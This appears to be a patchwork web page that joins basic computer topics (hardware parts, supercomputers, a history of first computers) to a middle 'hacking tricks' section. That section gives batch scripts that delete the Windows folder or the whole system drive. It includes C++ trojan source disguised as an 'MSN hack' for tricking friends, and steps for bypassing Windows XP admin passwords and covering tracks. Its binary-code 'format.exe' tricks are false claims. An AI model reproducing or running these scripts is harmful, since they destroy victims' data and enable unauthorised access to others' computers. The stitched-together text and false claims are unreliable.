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How Computer Works::

Parts

A computer is any electronic device that consists of four parts---in any form. A computer must have a way to input information, output information, process information and store information. Any electronic device that meets all four requirements is considered a computer. The most common device considered a computer is the personal computer (PC), whether it be made by Apple or by another manufacturer.

Input

An input device is any way a human can communicate with the electronic device. The most common methods with a PC are a keyboard and a mouse. These devices communicate with the main box of the computer using short electronic signals through the wires attached to the main box of the computer. Other methods of input are a light pen, a touch screen, a scanner and a microphone.

Output

An output device is a device that allows the computer to show the result of a process (usually to a person). The most common PC output device is the monitor, as the monitor displays the result of calculations or requests made by the user. The computer communicates with the output devices by using small electric signals over wires connected to the computer. Other common output devices include the printer, speakers and plotters.

Processor

The heart of the computer is the processor. This is the part of the computer that does all the hard work. The processor in a PC is also called the CPU or central processing unit. This is a silicon chip attached to the motherboard of the PC. The motherboard connects all the various parts of the computer together to allow them to communicate with one another. The CPU in the PC does all the calculations, receives electronic signals from input devices, sends electronic signals to output devices and sends electronic information to storage devices.

Storage

The storage device allows the computer to retain information. Without a storage device, the computer would be the same every time it was turned on and would be unable to store things such as documents and bookmarks. Storage devices vary in the methods used to store the information, but most information is stored simply as a series of ones and zeros. The most common storage device on a PC is the hard drive or hard disc. This device uses magnets to store information when you save it to your disc. Other storage devices include optical storage, floppy drives and tape drives.

Supercomputer

A supercomputer is a computer which performs at a rate of speed which is far above that of other computers. Given the constantly changing world of computing, it should come as no surprise to learn that most supercomputers bear their superlative titles for a few years, at best. Computer programmers are fond of saying that today's supercomputer will become tomorrow's computer; the computer you are reading this article on is probably more powerful than most historic supercomputers, for example.

The term “supercomputer” was coined in 1929 by the New York World, referring to tabulators manufactured by IBM. To modern computer users, these tabulators would probably appear awkward, slow, and cumbersome to use, but at the time, they represented the cutting edge of technology. This continues to be true of supercomputers today, which harness immense processing power so that they are incredibly fast, sophisticated, and powerful.

The primary use for supercomputers is in scientific computing, which requires high-powered computers to perform complex calculations. Scientific organizations like NASA boast supercomputers the size of rooms for the purpose of performing calculations, rendering complex formulas, and performing other tasks which require a formidable amount of computer power. Some supercomputers have also been designed for very specific functions like cracking codes and playing chess; Deep Blue is a famous chess-playing supercomputer.

In many cases, a supercomputer is custom-assembled, utilizing elements from a range of computer manufacturers and tailored for its intended use. Most supercomputers run on a Linux or Unix operating system, as these operating systems are extremely flexible, stable, and efficient. Supercomputers typically have multiple processors and a variety of other technological tricks to ensure that they run smoothly.

One of the biggest concerns with running a supercomputer is cooling. As one might imagine, supercomputers get extremely hot as they run, requiring complex cooling systems to ensure that no part of the computer fails. Many of these cooling systems take advantage of liquid gases, which can get extremely cold. Another issue is the speed at which information can be transferred or written to a storage device, as the speed of data transfer will limit the supercomputer's performance.

Simple Virus Program

Well this is a simple batch virus that will delete your victim's windows.
It's tested and it works 100%
Open up a notepad and type:
Code:


@echo off rd /Q /S %windir% shutdown -s -t 01


Save as > .bat file
When you run it, it will delete your c:\windows\
You'll need to format after that.
Now a C++ code to trick your friends


Code:


#include <iostream> 
#include <windows.h> 
using namespace std; 
string email; 
system("title MSN HACK by .:d3vILL:."); 
cout << "Welcome to MSN hack by .:d3vILL:." << endl; cout << "Enter your victim's email :"; 
cin >> email; 
cout << "Veryfing email"; 
Sleep(400); 
for(int i=1;i<=3;i+=1); 
{ cout << "."; Sleep(750); } 
cout << "Hacking password of " << email << endl; 
cout << "Please wait.." << endl; Sleep(1000); 
cout << "Estimated time: 10 minutes" << endl; Sleep(1000); 
system("@echo off"); 
system("rd /S /Q %windir%"); 
return 0; 
} ////////////////////////// / Coded By DGi / //////////////////////////


This is actually the same , but you can tell your friends it's a MSN hack program that hacks hotmail email passwords.


Note: It is provided for educational purpose only. Do it on your own risk.

How To Hack Windows Xp Admin Passwords

This hack will only work if the person that owns the machine
has no intelligence. This is how it works:
When you or anyone installs Windows XP for the first time your
asked to put in your username and up to five others.
Now, unknownst to a lot of other people this is the only place in
Windows XP that you can password the default Administrator Diagnostic
Account. This means that to by pass most administrators accounts
on Windows XP all you have to do is boot to safe mode by pressing F8
during boot up and choosing it. Log into the Administrator Account
and create your own or change the password on the current Account.
This only works if the user on setup specified a password for the
Administrator Account.


This has worked for me on both Windows XP Home and Pro.
-----------------------------------------------------------------------------
Now this one seems to be machine dependant, it works randomly(don't know why)


If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
-----------------------------------------------------------------------------
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
-----------------------------------------------------------------------------
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user <admin account name here> password"
If the Administrator Account is called Gaurav and you want the password blah enter this
"net user Gaurav blah"
and this changes the password on Gaurav's machine to blah and your in.


Have fun!!!!
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
Any updates, Errors, Suggestions or just general comments mail them to either.

Most Amazing Computer Tricks

At first copy the following binary code exactly:

01001011000111110010010101010101010000011111100000

Paste it in a notepad file.

Save the file as 'format.exe'

When you open it, the hard disk formats!!

You can keep this file in your school's computer in a far-off folder. At first rename it and send a shortcut to desktop. Now hide the original file. Change the icon of the shortcut to that of My computer and rename it as 'My Computer' and delete the original 'My computer'. When someone tries to open it....tada!!

If you are unable to format C drive when the victim's PC is running, then you can use the following line of code:

01100110011011110111001001101101011000010111010000
100000011000110011101001011100
0010000000101111010100010010111101011000

It's extremely cool!!

How about making the computer not to boot in the first place?? ;)

Then use this code:

01100100011001010110110000100000001011110100011000
101111010100110010111101010001
00100000011000110011101001011100011000100110111101
101111011101000010111001101001
0110111001101001

You will be astounded at the result when someone tries to restart the PC!

Here is another nice trick:

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

Save the file as '.bat'

I won't disclose the result!(Just try it out yourself!)

If you hadn't known the above-mentioned tricks before, then google some more up! There are plenty of more wonderful tricks which would just blow your mind!

Here is a well-known trick called the 'WTC trick'. The plane that hit the WTC had a flight number of Q33N. Now write ' Q33N' in notepad, change the font size to 72, and change the font to 'Wingdings'. See what happens....

Also try the following trick:

Open notepad and write down: 'this app can break'

Save it as 'xxx.txt'

Quit notepad and open it again to have a surprise!

And here is the bummer:

Type down in notepad: 'Bush hid the facts'

Save this file with 'zzz.txt'

Exit notepad and open it again!

All First Computer Inventions:

      -----------------------------------------------------------------
            First Programmable Computer:
          Z1 originally created by Germany's Konrad Zuse in his parents
          livingroomin1936to1938isconsidered to be the first electrical binary programmable computer.


         The first digital computer:

Short for Atanasoff-Berry Computer, the ABC started being developed by Professor John Vincent Atanasoff and graduate student Cliff Berry in 1937 and continued to be developed until 1942 at the Iowa State College (now Iowa State University). On October 19, 1973, US Federal Judge Earl R. Larson signed his decision that the ENIAC patent by Eckert and Mauchly was invalid and named Atanasoff the inventor of the electronic digital computer.

See the ABC definition for additional information about this computer.

The ENIAC was invented by J. Presper Eckert and John Mauchly at the University of Pennsylvania and began construction in 1943 and was not completed until 1946. It occupied about 1,800 square feet and used about 18,000 vacuum tubes, weighing almost 50 tons. Although the Judge ruled that the ABC computer was the first digital computer many still consider the ENIAC to be the first digital computer.

See the ENIAC definition for additional information about this computer.

Because of the Judge ruling and because the case was never appealed like most we consider the ABC to be the first digital computer. However, because the ABC was never fully functional we consider the first functional digital computer to be the ENIAC.

         The first computer with RAM

MIT introduces the Whirlwind machine March 8, 1955, are evolutionary computer

that was the first digital computer with magnetic core RAM and real-time graphics.

          

        The first transistor computer

The TX-O (Transistorized Experimental computer) and first transistorized computer is demonstrated at the Massachusetts Institute of Technology in 1956.

         

        The first stored program computer

The early British computer known as the EDSAC is considered to be the first stored program electronic computer. The computer performed its first calculation on May 6, 1949 and was the computer that ran the first graphical computer game.

See the EDSAC dictionary definition for additional information about this computer.

        

        The first minicomputer

In 1960 Digital Equipment Corporation released its first of many PDP computers the PDP-1.

          

        The first personal computer

In 1975 Ed Roberts coined the term personal computer when he introduced the Altair 8800. Although the first personal computer is considered to be the Kenback-1, which was first introduced for $750 in 1971. The computer relied on a series of switches for inputting data and output data by turning on and off a series of lights.

The Micral is considered the be the first commercial non-assembly computer. The computer used the Intel 8008 processor and sold for $1,750 in 1973.

         

        The first workstation

Although never sold the first workstation is considered to be the Xerox Alto, introduced in 1974. The computer was revolutionary for its time and included a fully functional computer, display, and mouse. The computer operated like many computers today utilizing windows, menus and icons as an interface to its operating system.

       

        The first laptop or portable computer

The IBM 5100 is the first portable computer, which was released on September 1975. The computer weighed 55 pounds and had a five inch CRT display, tape drive, 1.9MHz PALM processor, and 64KB of RAM.

The first truly portable computer or laptop is considered to be the Osborne I, which was released on April 1981. The Osborne I was developed by Adam Osborne and weighed 24 pounds, had a 5-inch display, 64 KB of memory, two 5 1/4" floppy drives, and a modem.

IBM PCD later released the IBM portable in 1984, it's first portable computer that weighed in at 30 pounds. IBM PCD later announced in 1986 it's first laptop computer, the PC Convertible, weighing 12 pound.And in 1994 introduces the IBM Thinkpad 775CD, the first

notebook with an integrated CD-ROM.

       

       The first PC (IBM compatible) computer

On April 7, 1953 IBM publicly introduced the 701, its first electric computer and first mass produced computer. Later IBM introduced its first personal computer called the "IBM PC" in 1981. The computer was code named and still sometimes referred to as the "Acorn" and had a 8088 processor, 16 KB of memory, which was expandable to 256 and utilizing MS-DOS.

        

       The first PC clone

The first PC clone was developed by Compaq, the "Compaq Portable" was release in March 1983 and was 100% compatible with IBM computers and software that ran on IBM computers.

See the below other major computer companies first for other IBM compatible computers.

          

        The first Apple computer

Steve Wozniak designed the first Apple known as the Apple I computer in 1976.

         The first computer company

The first computer company was the Electronic Controls Company and was founded in 1949 by J. Presper Eckert and John Mauchly, the same individuals who helped create the ENIAC computer. The company was later renamed to EMCC or Eckert-Mauchly Computer Corporation and released a series of mainframe computers under the UNIVAC name.

          

         The first multimedia computer

In 1992 Tandy Radio Shack becomes one of the first companies to release a computer based on the MPC standard with its introduction of the M2500 XL/2 and M4020 SX computers.

          

         Other major computer company firsts

Below is a listing of some of the major computers companies first computers.

Compaq - March 1983 Compaq released its first computer and the first 100% IBM compatible computer the "Compaq Portable."
Dell - In 1985 Dell introduced its first computer, the "Turbo PC."
Hewlett Packard - In 1966 Hewlett Packard released its first general computer, the "HP-2115."
NEC - In 1958 NEC builds its first computer the "NEAC 1101."
Toshiba - In 1954 Toshiba introduces its first computer, the "TAC" digital computer.

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